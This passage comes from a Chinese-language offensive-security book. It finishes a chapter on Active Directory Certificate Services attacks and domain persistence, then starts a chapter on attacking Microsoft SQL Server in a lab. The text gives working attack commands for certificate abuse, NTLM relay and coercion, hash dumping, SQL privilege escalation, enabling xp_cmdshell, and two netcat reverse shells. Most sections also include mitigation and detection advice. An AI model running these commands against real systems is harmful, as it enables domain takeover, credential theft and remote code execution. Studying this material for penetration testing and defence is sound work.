用户颁发和管理证书权限,也称为官员。然后,如果已禁用,我们将启用SubCA
模板:
certipy-ad ca -u khal.drogo@essos.local -p horse -ca 'ESSOS-CA' -target braavos.essos.local -add-officer khal.drogo
certipy-ad ca -u khal.drogo@essos.local -p horse -ca 'ESSOS-CA' -target braavos.essos.local -enable-template SubCA
执行前述命令的结果如下:
图 8.34 – 启用 SubCA 模板并授予 khal.drogo 官员权限
我们将通过请求使用SubCA
模板的证书来发起攻击,手动批准它,最后检索已发放的证书。以下命令将执行攻击:
certipy-ad req -u khal.drogo@essos.local -p horse -ca ESSOS-CA -target braavos.essos.local -template SubCA -upn administrator@essos.local
certipy-ad ca -u khal.drogo@essos.local -p horse -ca ESSOS-CA -target braavos.essos.local -issue-request 19
certipy-ad req -u khal.drogo@essos.local -p horse -ca ESSOS-CA -target braavos.essos.local -retrieve 19
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12
前述命令的结果如下截图所示:
图 8.35 – 成功的 ESC7 攻击
Tarlogic发布了一些引人入胜的研究。研究表明,如果对手拥有ManageCA
权限,则可以通过上传 Web shell 实现远程代码执行。研究可在此处找到[24]。
为防止 ESC7,审查对 CA 具有敏感安全权限的主体。通过 Sysmon 注册表规则,可以检测到攻击者将设置EDITF_ATTRIBUTESUBJECTALTNAME2
标志的情况。更改 CA 安全权限会生成事件 ID 4882
,如下所示:
图 8.36 – khal.drogo 添加了证书管理权限
下一节将演示,过去默认的 CA 配置导致完全接管 AD CS。
CA 配置错误
现在我们将讨论一个在 2022 年 5 月由 Microsoft 补丁修复的攻击,但您仍可能在旧环境中遇到它。
ESC6 – EDITF_ATTRIBUTESUBJECTALTNAME2
如果 CA 上设置了EDITF_ATTRIBUTESUBJECTALTNAME2
标志,任何请求都可以在主题备用名称中定义值。实际上,任何域用户都可以在为域身份验证配置的任何模板中注册,并获取证书,包括域管理员。与 ESC1 的区别在于,帐户信息存储在证书属性中,而不是在证书扩展中。此标志存储在注册表中,可以使用certutil.exe/certify
从非提升的上下文中验证;但是,如果检查是通过网络进行的,则远程注册表服务应该正在运行:
certutil -config "braavos\ESSOS-CA" -getreg "policy\EditFlags"
Certify 将检测到此标志并引发问题:
图 8.37 – 标志已设置
利用相对简单。我们请求一个用户证书,其中域管理员作为替代名称:
certipy-ad req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template User -ca 'ESSOS-CA' -upn administrator@essos.local
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12
结果如下截图所示:
图 8.38 – 成功的 ESC6 攻击
要防止此攻击,请使用以下命令禁用标志(需要域管理员权限)并重新启动服务:
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
2022 年 5 月的安全更新杀死了 ESC6;现在,它只能与 ESC10 结合使用。该补丁强制新证书具有一个安全扩展,其中嵌入了请求者的objectSid
属性,而不是来自 SAN 的值。
在下一节中,我们将重新审视中继攻击第五章,但仅适用于 AD CS 的新方法。
中继攻击
我们之前在第五章中讨论过中继攻击。在这里,我们将重新审视它们,但现在重点放在 AD CS 上。
ESC8 – NTLM 中继到 AD CS HTTP 端点
如果安装了额外的 AD CS 服务器角色,可能会引入几种基于 HTTP 的注册方法。这些基于 HTTP 的注册方法容易受到 NTLM 或 Kerberos 中继攻击的影响。例如,对手可以使用PetitPotam
来强制从域控制器到所选主机的 NTLM 身份验证。然后,NTLM 凭据被中继到 AD CS 网页注册页面,并颁发域控制器证书。使用此证书,对手将请求 TGT 并通过传递证书访问域控制器。这种攻击的执行方式取决于可用工具和协议的不同版本[25]。我们将坚持使用 Linux 方式,按照实验作者Mayfly[26]的步骤:
-
使用
Certify.exe
和cas
参数查找注册端点。 -
在我们的 Kali 机器上创建一个监听器,将 SMB 身份验证中继到 AD CS HTTP 端点:
impacket-ntlmrelayx -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
我们选择
DomainController
模板,因为我们的目标是域控制器。如果我们的目标是工作站,我们可以使用Machine
模板,对于域用户,我们可以使用User
模板。 -
使用
PetitPotam
强制进行身份验证;但是,您也可以选择任何其他方法:python3 PetitPotam.py 192.168.56.100 meereen.essos.local
-
在强制身份验证后获取证书:
图 8.39 – 获取域控制器的计算机帐户证书
-
通过传递证书请求 TGT:
python3 gettgtpkinit.py -pfx-base64 $(cat /home/kali/cert.b64) -dc-ip 192.168.56.12 'essos.local/meereen$' 'meereen.ccache'
-
使用 TGT,获取
daenerys.targaryen
的 NT 哈希:export KRB5CCNAME=meereen.ccache impacket-secretsdump -k -no-pass -just-dc-user daenerys.targaryen ESSOS.LOCAL/'meereen$'@meereen.essos.local
攻击的结果如下截图所示:
图 8.40 – 成功的 ESC8 攻击
Certipy-ad 也嵌入了这种攻击:
certipy-ad relay -ca 192.168.56.23 -template DomainController
certipy-ad auth -pfx meereen.pfx -dc-ip 192.168.56.12
使用任何强制方法后,我们获得了证书和 NT 哈希:
图 8.41 – 成功的 ESC8 攻击
预防建议是为证书颁发 Web 服务启用扩展保护认证(EPA),禁用未使用的 AD CS HTTP 端点,并在主机和 IIS 级别禁用 NTLM 身份验证。可以通过 CA 服务器上的事件 ID 4624
检测使用 NTLM 的机器帐户以及事件 ID 4768
,其中域控制器的计算机帐户证书用于请求 TGT。
ESC11 – NTLM 中继到 RPC 端点
这种攻击类似于 ESC8,但中继是针对 RPC 端点而不是 HTTP 端点。原始研究可以在这里找到[27]。证书请求通过ICertPassage Remote
(ICPR)协议发送到 RPC 端点。要成功执行攻击,必须满足两个条件:
-
IF_ENFORCEENCRYPTICERTREQUEST
标志未设置(默认设置) -
NTLM 签名不是必须的
向后兼容较旧的操作系统版本(< Windows Server 2012)可能是该标志未设置的原因。为了演示,我们将通过在braavos.essos.local
机器的提升上下文中运行以下命令来取消设置该标志:
certutil -setreg CA\InterfaceFlags -IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc & net start certsvc
以下步骤将成功模拟该攻击:
-
使用
certipy
检查 CA 是否对 ESC11 存在漏洞:certipy find -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -stdout
结果如下所示:
图 8.42 – CA 对 ESC11 攻击存在漏洞
-
启动监听器,使用
DomainController
模板定位 CA:certipy relay -target 'rpc://braavos.essos.local' -ca 'ESSOS-CA' -template DomainController
-
使用
Coercer
工具强制认证:python3 Coercer.py coerce -u 'khal.drogo' -p 'horse' --target-ip 192.168.56.12 --listener-ip 192.168.56.100
-
使用域控制器的计算机账户证书进行认证:
certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12
结果在以下截图中显示:
图 8.43 – 成功的 ESC11 攻击
为了缓解此攻击,通过设置IF_ENFORCEENCRYPTICERTREQUEST
标志来强制包签名和加密。检测建议与 ESC8 相同。
在下一节中,我们将讨论通过滥用内建的 AD CS 功能来实现域内持久化的可能方式。
域持久化
在本节中,我们将探讨利用被攻破的 CA 在域中实现持久化的技术。我们将了解对手通常会利用哪些典型的向量来保持对环境的高权限访问,并探讨检测此类活动的方法。
DPERSIST1 – 使用被盗的 CA 证书伪造证书
如果一个对手已成功攻破了一个 CA 并获得了相应的 CA 证书和私钥,那么在该域环境中伪造任何证书都是可能的。为了区分 CA 证书与其他证书,请注意以下特征:
-
发行者和主题被设置为 CA 的唯一名称
-
它具有一个“CA 版本”扩展
-
无 EKU
这些特征在以下截图中显示:
图 8.44 – CA 证书信息
需要特别说明的是,伪造的证书无法被吊销,因为 CA 并不知道它们的存在。获取 CA 证书的场景之一已在 ESC5 示例中解释。如果你需要在 Windows 机器上伪造证书,可以使用一个名为ForgeCert
[28]的工具来协助你。
理想情况下,从安全角度来看,CA 应该被视为关键资产。根 CA 可以下线,并将证书颁发委托给下级 CA。如果根 CA 被攻破,它仍然是安全的,并可以吊销下级 CA 证书。CA 证书的私钥应当与所有物理安全措施一起单独存储在硬件设备中。
DPERSIST2 – 信任恶意 CA 证书
在身份验证过程中,域控制器会检查NTAuthCertificates
对象中的 CA 条目,该条目在Issuer
字段中指定。此技术的思路是生成一个自签名的恶意 CA 证书,并将其添加到NTAuthCertificates
Active Directory 对象中。之后,任何由恶意 CA 证书签名的伪造证书都会被视为有效。攻击者需要具有高权限的访问权限,才能将恶意证书推送到NTAuthCertificates
对象中。可以通过以下命令来实现:
certutil.exe -dspublish -f C:\Users\Public\RogueCA.crt NTAuthCA
如果启用了CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local
对象的Write
和Modify
操作的 SACL 审计,就可以检测到这种活动。这将生成事件 ID 5136
。
DPERSIST3 – 恶意配置错误
通过对 CA 的高权限访问,攻击者可以通过修改 AD CS 组件的安全描述符引入恶意配置错误,从而实现持久性。在这种情况下,唯一的限制就是攻击者的想象力。所有来自域权限提升部分的攻击都可以与在 AD CS 关键元素上设置的额外过度权限一起实施。检测此技术非常困难。每当证书服务的安全权限发生更改时,都会记录事件 ID 4882
,如 ESC7 所示。此外,关键 AD 对象的 SACL 审计将非常有帮助。
总结
在本章中,我们学习了妥协 AD CS 的技术。本章介绍的技术被分为四类:证书窃取、账户持久性、域权限提升和域持久性。
在证书窃取类别中,我们介绍了从被攻陷终端窃取证书的不同方法。接下来,我们向您介绍了账户持久性技术,如用户和机器证书的请求与续订。此外,我们还学习了域权限提升和持久性技术,分别用于在域级别实现最高权限。
在下一章中,我们将深入探讨 Microsoft 的数据库解决方案——Microsoft SQL Server。我们将涵盖进攻性技术、防御措施和检测建议。
参考资料
-
SpecterOps – Certified Pre-Owned:
specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
-
关于 AD CS 的 Microsoft 官方文档:
learn.microsoft.com/en-us/training/modules/implement-manage-active-directory-certificate-services/2-explore-fundamentals-of-pki-ad-cs
-
PassTheCert 工具:
github.com/AlmondOffSec/PassTheCert
-
无 PKINIT 的证书认证:
offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.xhtml
-
寻找 AD CS 滥用行为:
speakerdeck.com/heirhabarov/hunting-for-active-directory-certificate-services-abuse
-
CertStealer 工具:
github.com/TheWover/CertStealer
-
SharpDPAPI 工具:
github.com/GhostPack/SharpDPAPI
-
检测 UnPAC-the-hash 和 Shadow Credentials 攻击:
medium.com/falconforce/falconfriday-detecting-unpacing-and-shadowed-credentials-0xff1e-2246934247ce
-
Certify 工具:
github.com/GhostPack/Certify
-
Shadow Credentials 攻击:
shenaniganslabs.io/2021/06/21/Shadow-Credentials.xhtml
-
Whisker 工具:
github.com/eladshamir/Whisker
-
AD CS 备忘单:
hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services
-
Certifried 原始研究:
research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
-
Certipy 工具:
github.com/ly4k/Certipy
-
Semperis 针对 CVE-2022-26923 的分析:
www.semperis.com/blog/ad-vulnerability-cve-2022-26923/
-
ESC9 和 ESC10 作者的博客文章:
research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
-
微软针对 Certifried 的补丁:
catalog.update.microsoft.com/Search.aspx?q=KB5025228
-
modifyCertTemplate 工具:
github.com/fortalice/modifyCertTemplate
-
使用 PowerView 利用 ESC4:
redteam.wiki/postexploitation/active-directory/adcs/esc4
-
检测 ESC4:
www.fortalicesolutions.com/posts/adcs-playing-with-esc4
-
Certsync 攻击:
www.redpacketsecurity.com/certsync-dump-ntds-with-golden-certificates-and-unpac-the-hash/
-
SpecterOps – 从 DA 到 EA 使用 ESC5:
posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c
-
使用 PSPKI 将 ESC7 转换为 ESC6:
luemmelsec.github.io/Skidaddle-Skideldi-I-just-pwnd-your-PKI/#esc7
-
从 ManageCA 到 RCE: https://www.tarlogic.com/blog/ad-cs-manageca-rce/
-
AD CS GOADv2 实验室演练: https://mayfly277.github.io/posts/GOADv2-pwning-part6/#esc8---coerce-to-domain-admin
-
ESC11 原创研究: https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
-
ForgeCert 工具: https://github.com/GhostPack/ForgeCert
第九章:占领 Microsoft SQL Server
本章将聚焦于典型 Windows 环境中的一个常见且重要的服务——Microsoft SQL Server。SQL Server 是一个关系数据库管理系统,类似于 Oracle 或 MySQL。它与 Active Directory 紧密集成,支持 Windows 身份验证、信任关系的使用等。我们将按照通常的攻击步骤,从目标环境中发现并枚举实例开始。许多不同的工具可以帮助完成这些活动。接着,我们将探索在 SQL Server 中提升权限的方法,并进一步执行底层操作系统的命令。本章将为你提供通过滥用数据库链接在数据库实例之间进行横向移动的坚实理解。最后,我们将探讨如何利用 SQL Server 功能实现主机和应用程序级别的持久性。
在本章中,我们将涵盖以下主题:
-
介绍、发现和枚举
-
权限提升
-
操作系统(OS)命令执行
-
横向移动
-
持久性
技术要求
在本章中,你需要具备以下内容:
-
VMware Workstation Pro 或 Oracle VirtualBox,至少需要 16 GB 的内存、8 个 CPU 核心以及至少 55 GB 的总空间(如果你进行快照,所需空间会更多)
-
强烈推荐使用基于 Linux 的操作系统
-
在 GOADv2 项目中,我们将使用 SRV02 和 SRV03
介绍、发现和枚举
在本节中,我们将开始对 Microsoft SQL Server 安全评估的旅程。我们将简要介绍 SQL Server,然后进入发现过程。本节的大部分内容将深入探讨枚举过程的手动和自动化方面。
SQL Server 介绍
在我们开始探索发现主题之前,先让我们看看 SQL Server 的功能、固定服务器角色和安全机制。SQL Server 是安装在操作系统上的应用程序;在我们的例子中,我们只关注 Windows 主机。该服务器作为一组唯一命名的 Windows 服务在服务账户的上下文中运行。默认的监听 TCP 端口是 1433
,UDP 端口是 1434
;然而,如果运行更多的服务,端口列表会更长[1]。为了访问存储的数据,用户必须通过身份验证和授权检查。
身份验证用来验证用户是否有足够的权限登录实例。身份验证机制有两种——使用 Windows 账户或 SQL Server 登录。这两种机制的区别在于身份验证的处理者——是域控制器还是 SQL Server 本身。登录后,账户将被分配一些在创建时定义的服务器级角色。可以将这些角色看作是 Active Directory 安全组。这些角色是服务器级别的,可以是固定的或用户定义的。SQL Server 2022 在先前版本的 9 个固定角色基础上增加了 10 个新固定角色[2]。固定服务器角色权限无法更改,除了“public”角色。授权发生在数据库级别,决定用户在登录后对数据库的权限。为此,认证账户将映射到数据库用户。
有五个默认数据库:
-
master
– 存储系统级别的实例信息 -
msdb
– SQL Server Agent 用于调度作业和警报 -
model
– 模板数据库,用于创建新数据库 -
resource
– 只读数据库,保存sys
模式对象 -
tempdb
– 存储临时对象和结果
现在我们已经了解了 SQL Server 的基本信息,接下来我们可以进行侦察活动。
发现
从未认证的攻击者视角来看,要发现 SQL Server,我们需要进行网络端口扫描。Nmap、PowerUpSQL
、SQLCMD
、CrackMapExec 和 mssql_ping
Metasploit 模块将帮助进行这项活动。这些工具查询常见端口,如 TCP 1433
和 UDP 1434
,或从域中提取并解析 SPN,示例如下:
crackmapexec mssql 192.168.56.22-23
如果攻击者拥有数据库服务器的本地访问权限,通过简单的服务枚举查找以MSSQL*
开头的名称,或查询位于HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\*
的注册表项,就能发现正在运行的数据库实例。PowerUpSQL 正是通过 Get-SQLInstanceLocal
函数实现相同功能的。
一组有效的域凭证将允许攻击者执行整个森林范围内的 SPN 扫描,以检测正在运行的 SQL Server 实例。在本章中,将通过一款新发布的工具 SQLRecon
[4] 和经典的 PowerUpSQL
[5] 展示一些示例。让我们通过执行三条提供完全相同结果的命令,来发现 SQL Server 是否安装在 essos 域上。值得注意的是,setspn
和 SQLRecon 使用当前域用户上下文,并且从域加入的计算机上运行。而对于 impacket
的 Python 脚本,我们可以在 Kali 上运行时显式指定凭证:
setspn -T essos -Q MSSQL*/*
python3 GetUserSPNs.py essos.local/khal.drogo:horse
SQLRecon.exe /e:SqlSpns
SQLRecon 执行 LDAP 查询,查找一个具有 SPN 以 MSSQL*
开头的用户(sAMAccountType=805306368)(servicePrincipalName=MSSQL
*)。发现的结果如以下截图所示:
图 9.1 – 发现的 SQL Server 实例
攻击者然后可以尝试使用被泄露的域或 SQL Server 用户凭证登录到发现的实例。获取 SQL Server 初始立足点的另一种方法是通过暴力破解。
暴力破解
字典攻击是非常嘈杂的,必须小心执行,以避免被锁定在目标账户之外。Nmap 脚本、Metasploit 模块和 PowerUpSQL 函数可以帮助执行此类活动。在 PowerUpSQL[6] 中,有三个函数允许你进行登录攻击:
-
Invoke-SQLAuditWeakLoginPw
– 将用户名作为密码进行测试 -
Get-SQLConnectionTestThreaded
– 使用已知的用户名/密码对或作为当前用户进行登录 -
Get-SQLServerLoginDefaultPw
– 检查常见应用程序使用的默认密码,基于实例名称
CrackMapExec
还允许你执行密码喷射攻击,使用提供的用户名和密码列表:
crackmapexec mssql 192.168.56.23 -u userfile -p passwordfile --no-bruteforce
假设攻击者已经入侵或猜测到了用户 jorah.mormont
的密码。以下 PowerUpSQL 链式命令验证以 jorah.mormont
用户身份访问 SQL Server 实例并收集服务器信息:
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Get-SQLServerInfo
上述命令的输出如下图所示:
图 9.2 – 使用 PowerUpSQL 进行 SQL Server 枚举
SQLRecon
命令也显示映射的角色:
图 9.3 – 使用被泄露的用户进行初始立足点
获取立足点后,攻击者可以继续枚举其他数据库用户,以确定可能的下一个目标。Metasploit 有一个用于枚举 SQL 登录的模块,叫做 admin/mssql/mssql_enum_sql_logins
,PowerUpSQL 也有一个 Get-SQLFuzzServerLogin
函数。该函数在后台调用 SQL Server suser_name
函数,并迭代主 ID 值。一个公共角色就足以执行此类活动:
Get-SQLFuzzServerLogin -Instance BRAAVOS\SQLEXPRESS -Verbose
结果如下图所示:
图 9.4 – 实例的所有服务器登录
还可以使用 Get-SQLFuzzDomainAccount
函数和 Metasploit admin/mssql/mssql_enum_domain_accounts
模块枚举域用户。思路完全相同,但这次迭代会遍历域 RID。默认的结束迭代值是 1,000;然而,对于大型环境,可以通过 -EndId
选项进行修改。需要注意的是,由此函数使用的 LSA SID 查找请求(在我们的例子中是 lsa_lookupsids3)会在短时间内为域控制器造成大量流量:
Get-SQLFuzzDomainAccount -Instance BRAAVOS\SQLEXPRESS -EndId 2000
Get-SQLFuzzDomainAccount
命令的结果如下图所示:
图 9.5 – 所有域组和用户
暴力破解攻击会在 Windows 日志中留下事件 ID 18456
的痕迹。事件中的错误文本有助于确定攻击者是进行用户枚举还是密码喷射攻击。
攻击者的下一步是使用获得的凭证枚举数据库本身。
数据库枚举
枚举可以通过使用像 SQLRecon 这样的工具或者手动运行查询来完成,使用如HeidiSQL
[7]或 Microsoft SQL Server Management Studio 这样的工具。以下是一些常见的查询,用于获取数据库的基本信息[8][9]。你可以在 SQL SMS 中运行这些查询。下面截图中语句上方的注释旨在解释它们的目的:
-- database version
SELECT @@version;
-- current login name
SELECT SYSTEM_USER;
-- current role
SELECT USER;
-- check if our role has public or sysadmin privileges
SELECT IS_SRVROLEMEMBER('public');
SELECT IS_SRVROLEMEMBER('sysadmin');
-- list all databases
SELECT name FROM master..sysdatabases;
-- list all users
SELECT * FROM sys.server_principals
-- list linked servers
EXEC sp_linkedservers;
-- list logins available for impersonation
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
-- effective permissions for the server and the database
SELECT * FROM fn_my_permissions(NULL, 'SERVER')
SELECT * FROM fn_my_permissions(NULL, 'DATABASE')
之前查询的所有信息都很重要;然而,最关键的信息是当前用户的角色、链接的服务器、可供冒充的登录账户,以及我们在服务器和数据库上的有效权限。
SQLRecon 有对应的枚举模块。该工具支持五种类型的身份验证,但我们只关心其中三种——Windows 令牌(WinToken)、Windows 域凭证(WinDomain)和本地凭证(Local)。让我们开始枚举。
例如,以下命令显示了当前用户(khal.drogo)可以冒充的链接服务器和账户:
图 9.6 – 可以被冒充的账户列表及其链接的服务器
要识别权限提升的路径,我们可以运行 PowerUpSQL 函数,如Invoke-SQLAudit
或Invoke-SQLEscalatePriv
。然而,让我们在接下来的章节中逐一详细介绍可用的权限提升技术。
权限提升
在上一节中,我们看到了多种数据库枚举技术。在本节中,我们将使用收集到的侦察结果,针对用户khal.drogo
,识别数据库服务器上的权限提升路径。我们还将实践从 SQL Server 提升权限到主机本身。在本节结束时,我们将从该用户提升到sysadmin
角色,且拥有本地主机管理员权限。
冒充
最常见的权限提升路径之一是用户冒充。此权限允许冒充另一个用户或登录账户,以代表被冒充的用户访问资源,而无需专门授予权限[10]。sysadmin
角色对所有数据库都有此权限,db_owner
角色成员只在他们拥有的数据库中拥有此权限。我们可以通过以下查询检查当前用户是否被允许冒充sa
用户登录:
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
假冒可以发生在服务器级别(EXECUTE AS LOGIN)和数据库级别(EXECUTE AS USER)。Metasploit 有一个名为admin/mssql/mssql_escalate_execute_as
的模块,可以通过假冒提升权限。PowerUpSQL 也有一个功能可以识别并利用假冒:
Invoke-SQLAuditPrivImpersonateLogin -Instance BRAAVOS\SQLEXPRESS -Exploit
结果如下面的截图所示:
图 9.7 – 成功的权限提升
显然,审核具有假冒权限的用户至关重要。PowerUpSQL 的Invoke-SQLAudit
功能列出了所有可以假冒其他用户的登录名。然而,它无法构建关系图(如 BloodHound 那样)并识别嵌套的关系。
受信任配置错误
受信任是一个数据库属性,表示 SQL Server 信任该数据库及其内容。默认情况下,此属性是禁用的,只有sysadmin
才能启用。如果攻击者是一个受信任数据库中属于db_owner
角色的成员,并且该数据库的所有者是sysadmin
,那么就有可能提升权限。拥有db_owner
角色的攻击者可以创建一个存储过程,使其在数据库所有者(sysadmin)的上下文中执行(EXECUTE AS OWNER)[11]。
让我们在实验室中设置这个攻击。以下代码将创建一个数据库,将其设置为受信任,为viserys.targaryen
创建一个登录,并授予他db_owner
角色:
CREATE DATABASE MyDb
USE MyDb
ALTER DATABASE MyDb SET TRUSTWORTHY ON
CREATE LOGIN [ESSOS\viserys.targaryen] FROM WINDOWS
ALTER LOGIN [ESSOS\viserys.targaryen] with default_database = [MyDb];
CREATE USER [ESSOS\viserys.targaryen] FROM LOGIN [ESSOS\viserys.targaryen];
EXEC sp_addrolemember [db_owner], [ESSOS\viserys.targaryen]
现在,我们准备执行攻击。首先,让我们识别受信任的数据库。PowerUpSQL 有一个名为Invoke-SQLAuditPrivTrustworthy
的功能可以完成此任务,或者我们可以直接运行以下 SQL 查询:
SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;
其次,我们需要检查受信任数据库中db_owner
角色的成员:
USE MyDb;
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;
最后一步是创建一个存储过程并执行它:
CREATE PROCEDURE sp_pe_trust
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember [ESSOS\viserys.targaryen],[sysadmin]
EXEC sp_pe_trust
SELECT is_srvrolemember('sysadmin')
可以通过使用 Metasploit 的auxiliary/admin/mssql/mssql_escalate_dbowner
模块或Invoke-SqlServer-Escalate-DbOwner
脚本[12]来自动化攻击。自动化利用的结果如下面的截图所示:
图 9.8 – 从 db_owner 到 sysadmin 的权限提升
为了防止配置错误,建议关闭受信任属性或将数据库所有者更改为低权限用户。
从以下部分开始,我们将逐渐从数据库级别转向操作系统级别。
UNC 路径注入
统一命名约定(UNC)路径可以用于访问远程服务器上的文件。有两个存储过程支持 UNC 路径,并且可以通过公共服务器角色执行 – xp_dirtree
和 xp_fileexist
。存储过程是将多个 SQL 语句组合在一起的逻辑单元。这样做的好处包括安全性、可重用性和性能。通过执行这两个存储过程之一,攻击者迫使 SQL Server 服务帐户访问并随后对受控资源进行身份验证。然后,NTLMv2 挑战将被捕获并转发,或由攻击者破解。通过使用 Metasploit 的 auxiliary/admin/mssql/mssql_ntlm_stealer
模块、SQLRecon 的 smb
模块,或 PowerUpSQL 中的 Invoke-SQLUncPathInjection
函数,可以自动化此攻击。它们本质上执行以下查询:
EXEC master.dbo.xp_dirtree '\\192.168.56.100\blah'
NTLMv2 挑战将被 Responder 捕获,如下图所示:
图 9.9 – 已捕获 sql_svc 的 NTLMv2 挑战
为了消除此攻击向量,建议撤销公共角色执行这些过程的权限。
还有另一种迫使身份验证的方式,但这次是作为安装了 SQL Server 的机器帐户[13]。在登录到 SQL Server Management Studio 后,攻击者从 XMLA 文件恢复一个数据库,但将其指向一个受控监听器作为备份文件位置。然后,攻击者将捕获 NTLMv2 挑战。
从服务帐户到 SYSTEM
通常,数据库服务帐户拥有 SeImpersonatePrivilege
权限。滥用此权限可以将我们的权限提升至 SYSTEM。根据目标操作系统的版本,提供了不同的漏洞利用工具。JuicyPotato
[14] 适用于 Windows Server 2019 以下版本,而 RoguePotato、PrintSpoofer、SharpEfsPotato 和 GodPotato[15] 适用于更高版本。所有漏洞利用都在利用过程中使用不同的服务,但主要思路是创建管道,强制连接,并伪装成 SYSTEM 令牌。为了在服务上下文中执行进一步的命令,我们将在 HeidiSQL 中运行以下命令,这将作为 sql_svc
用户连接回我们的 Kali 主机:
EXEC master..xp_cmdshell 'cmd.exe /c C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'
只需运行漏洞利用即可授予我们 SYSTEM 级别的权限:
图 9.10 – GodPotato 漏洞成功利用
微软尚未发布针对该权限提升向量的修复。
以下示例将展示如果攻击者是本地管理员,如何在数据库级别获取 sysadmin
权限。
从本地管理员到 sysadmin
另一种可能的情况是,攻击者已获得数据库服务器的本地管理员权限。有已知的方法可以获取数据库sysadmin
权限作为下一步[16]。最常见的技术之一是冒充 SQL Server 服务帐户,因为默认情况下,它拥有sysadmin
权限。PowerUpSQL 有两个冒充函数,分别是 Invoke-SQLImpersonateService
和 Invoke-SQLImpersonateServiceCmd
。其他技术包括借助 Mimikatz 读取 LSA 密钥、提取 SQL Server 登录密码哈希、将 DLL 或 shellcode 注入进程,甚至运行数据库的单用户模式。一个名为 post/windows/manage/mssql_local_auth_bypass
的 Metasploit 模块结合了为旧版 SQL Server 安装获取 LocalSystem
权限和迁移到新版 SQL Server 服务进程的能力。
运行以下命令可以获得 sysadmin
权限并提取 SQL Server 登录密码哈希:
Invoke-SQLImpersonateService -Verbose -Instance BRAAVOS\SQLEXPRESS
Get-SQLServerPasswordHash -Verbose -Instance BRAAVOS\SQLEXPRESS
结果显示在以下截图中:
图 9.11 – SQL Server 登录密码哈希
显然,还有另一种提取密码哈希的方法——从 master.mdf
文件中提取。XPN 之前发布了一些出色的研究[17],展示了 master.mdf
文件的内部结构,并发布了提取密码哈希的工具[18]。此攻击需要本地管理员权限。首先,我们需要定位 master.mdf
文件并使用 RawCopy 工具将其复制。该工具从磁盘复制原始数据,因此可以绕过 SQL Server 锁定 master.mdf
文件的限制。PowerShell 脚本使用 OrcaMDF
.NET 库,因此我们还需要加载这些库,然后提取哈希:
RawCopy64.exe /FileNamePath:"C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\master.mdf" /OutputPath:C:\Users\Public
[Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.RawCore.dll")
[Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.Framework.dll")
ipmo .\Get-MDFHashes.ps1
Get-MDFHashes -mdf "C:\Users\Public\master.mdf" | fl
上述命令的输出如下截图所示:
图 9.12 – SA SQL Server 登录的密码哈希
在接下来的部分中,我们将研究多种在操作系统级别执行命令的方法。
操作系统命令执行
在接下来的部分中,我们将探讨通过 SQL Server 执行操作系统命令的方法。要启用命令执行,必须拥有 sysadmin
权限。执行本身总是在服务帐户的上下文中进行。攻击者无需知道 SQL Server 服务或代理帐户的哈希值或密码。让我们首先看看内置的扩展存储过程。
xp_cmdshell
xp_cmdshell
可能是最著名的内置扩展存储过程,它默认情况下是禁用的。启用它需要 sysadmin
权限。PowerUpSQL 中有一些函数(Invoke-SQLOSCmdExec
和 Invoke-SQLOSCmd)、SQLRecon(EnableXp
和 XpCmd)以及 Metasploit 中的 admin/mssql/mssql_exec
模块可以自动化此任务。安装并启用 xp_cmdshell
的手动查询如下所示:
sp_addextendedproc 'xp_cmdshell','xplog70.dll
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'
需要提到的是,这样的活动将生成 ID 为 15457
的事件,因为 sp_configure
存储过程将被使用。如果配置尝试失败(因为用户权限不足),Windows 事件 ID 15281
将被记录。
图 9.13 – 重新配置 xp_cmdshell 的失败尝试
此外,Metasploit 中有一个模块 (exploit/windows/mssql/mssql_payload) 可以通过 xp_cmdshell
执行任意有效载荷。
一个自定义扩展存储过程
简单来说,自定义扩展存储过程是 SQL Server 的一个 DLL 扩展。需要 Sysadmin 权限来注册每个存储过程到扩展中。DLL 的代码示例可以在 GitHub 上找到[19]。需要注意的是,DLL 和函数名称是区分大小写的,必须完全相同。
PowerUpSQL 有一个名为 Create-SQLFileXpDll
的函数,它将为我们创建一个 DLL。然后,我们将注册它,列出扩展存储过程以验证注册,最后执行我们的恶意扩展存储过程。以下命令复制了这个过程:
Create-SQLFileXpDll -OutFile C:\Users\Public\xp_shell.dll -Command "C:\Users\Public\nc.exe -e cmd 192.168.56.100 443" -ExportName xp_shell -Verbose
